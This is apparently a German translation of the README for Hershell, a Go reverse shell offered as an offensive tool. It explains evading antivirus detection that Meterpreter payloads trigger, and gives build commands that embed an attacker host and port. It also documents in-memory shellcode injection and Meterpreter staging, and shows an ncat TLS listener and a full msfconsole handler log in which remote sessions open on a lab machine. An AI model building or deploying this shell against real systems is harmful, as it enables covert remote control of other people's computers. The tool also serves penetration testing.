
Hershell ist eine einfache TCP-Reverse-Shell, geschrieben in Go.
HINWEIS: Das Projekt wurde in dieses Repository geforkt, dort finden Sie alle weiteren Entwicklungen.
Hershell ist eine einfache TCP-Reverse-Shell, geschrieben in Go.
Es verwendet TLS zur Sicherung der Kommunikation und bietet eine Funktion zum Pinnen des Fingerabdrucks des öffentlichen Schlüssels des Zertifikats, um Traffic-Interception zu verhindern.
Unterstützte Betriebssysteme sind:
Obwohl Meterpreter-Payloads großartig sind, werden sie manchmal von AV-Produkten erkannt.
Das Ziel dieses Projekts ist es, eine einfache Reverse-Shell zu erhalten, die auf mehreren Systemen funktioniert.
Da es in Go geschrieben ist, können Sie den Quellcode für die gewünschte Architektur cross-kompilieren.
Da es sich um ein Go-Projekt handelt, müssen Sie der offiziellen Dokumentation folgen, um Ihre Golang-Umgebung einzurichten (mit der Umgebungsvariablen $GOPATH).
Führen Sie dann einfach go get github.com/sysdream/hershell aus, um das Projekt zu holen.
Um die Sache zu vereinfachen, können Sie das bereitgestellte Makefile verwenden.
Sie können die folgenden Umgebungsvariablen setzen:
GOOS : das Ziel-BetriebssystemGOARCH : die Ziel-ArchitekturLHOST : die IP oder der Domainname des AngreifersLPORT : der Listener-PortFür die Variablen GOOS und GOARCH finden Sie die zulässigen Werte hier.
Es sind jedoch einige Hilfsziele im Makefile verfügbar:
depends : Erzeugen des Serverzertifikats (erforderlich für die Reverse-Shell)windows32 : Erstellt eine 32-Bit-Windows-Ausführbare Datei (PE 32 Bit)windows64 : Erstellt eine 64-Bit-Windows-Ausführbare Datei (PE 64 Bit)linux32 : Erstellt eine 32-Bit-Linux-Ausführbare Datei (ELF 32 Bit)linux64 : Erstellt eine 64-Bit-Linux-Ausführbare Datei (ELF 64 Bit)macos32 : Erstellt eine 32-Bit-Mac-OS-Ausführbare Datei (Mach-O)macos64 : Erstellt eine 64-Bit-Mac-OS-Ausführbare Datei (Mach-O)Für diese Ziele müssen Sie nur die Umgebungsvariablen LHOST und LPORT setzen.
Nach der Ausführung erhalten Sie eine entfernte Shell.
Diese benutzerdefinierte interaktive Shell ermöglicht es Ihnen, Systembefehle über cmd.exe unter Windows oder /bin/sh auf UNIX-Maschinen auszuführen.
Die folgenden speziellen Befehle werden unterstützt:
run_shell : öffnet eine System-Shell (ermöglicht z.B. das Wechseln von Verzeichnissen)inject <base64 shellcode> : injiziert einen Shellcode (base64-kodiert) in den gleichen Prozessspeicher und führt ihn aus (derzeit nur Windows)meterpreter [tcp|http|https] IP:PORT : verbindet sich zu einem Multi/Handler, um einen Stage2-Reverse-TCP-, HTTP- oder HTTPS-Meterpreter von Metasploit zu erhalten, und führt den Shellcode im Speicher aus (derzeit nur Windows)exit : beendet die Shell ordnungsgemäßZunächst müssen Sie ein gültiges Zertifikat generieren:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
Für Windows:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
Für Linux:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
Für Mac OS X:
$ make macos LHOST=192.168.0.12 LPORT=1234
Man kann verschiedene Tools verwenden, um eingehende Verbindungen zu handhaben, wie:
python/shell_reverse_tcp_ssl payload)Hier ist ein Beispiel mit ncat:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
WARNUNG: Dies funktioniert derzeit nur unter Windows.
Das Meterpreter-Staging unterstützt derzeit die folgenden Payloads:
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_httpsUm den richtigen zu verwenden, geben Sie einfach das gewünschte Transportprotokoll an (tcp, http, https)
Um die Meterpreter-Staging-Funktion zu nutzen, starten Sie einfach Ihren Handler:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
Dann verwenden Sie in hershell den Befehl meterpreter:
[hershell]> meterpreter https 172.16.122.105:8443
Eine neue Meterpreter-Sitzung sollte in msfconsole erscheinen:
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
Ronan Kervella <r.kervella -at- sysdream -dot- com>